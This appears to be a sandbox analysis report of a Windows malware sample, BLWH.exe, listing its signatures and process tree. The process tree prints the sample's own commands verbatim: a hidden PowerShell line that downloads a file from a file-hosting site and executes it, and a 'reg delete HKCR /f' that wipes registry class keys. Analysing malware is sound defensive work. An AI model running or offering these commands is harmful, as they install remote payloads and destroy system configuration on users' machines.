Overview

overview

8

Static

static

3

BLWH.exe

windows10-2004-x64

8

BLWH.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    44s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/10/2026, 07:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    BLWH.exe
  • Size 35KB
  • Sample261002-hs393sbf98
  • SHA256 1165dff188da41cdc6eae263859a8ca826bbfb35ec3c3052990ca709b7fc5add
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Modifies system executable filetype association 2 TTPs 36 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\BLWH.exe
    "C:\Users\Admin\AppData\Local\Temp\BLWH.exe"
    1⤵
    • Checks computer location settings
    • Modifies system executable filetype association
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4972
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
        • Modifies system executable filetype association
        • Modifies registry class
        PID:4896
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x2cc 0x2f8
    1⤵
      PID:3812

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_cf54nbnh.h5j.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cf54nbnh.h5j.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/768-6-0x000000001D120000-0x000000001D166000-memory.dmp
          Download

          memory/768-1-0x000000001B480000-0x000000001B490000-memory.dmp
          Download

          memory/768-0-0x00000000007F0000-0x0000000000800000-memory.dmp
          Download

          memory/768-7-0x000000001B480000-0x000000001B490000-memory.dmp
          Download

          memory/768-5-0x000000001CDF0000-0x000000001CE17000-memory.dmp
          Download

          memory/4972-8-0x0000023258D90000-0x0000023258DA0000-memory.dmp
          Download

          memory/4972-9-0x0000023258D90000-0x0000023258DA0000-memory.dmp
          Download

          memory/4972-15-0x0000023240A10000-0x0000023240A32000-memory.dmp
          Download

          memory/4972-19-0x0000023258D90000-0x0000023258DA0000-memory.dmp
          Download

          memory/4972-18-0x0000023258D90000-0x0000023258DA0000-memory.dmp
          Download

          memory/4972-22-0x0000023258D90000-0x0000023258DA0000-memory.dmp
          Download

          memory/4972-23-0x0000023258D90000-0x0000023258DA0000-memory.dmp
          Download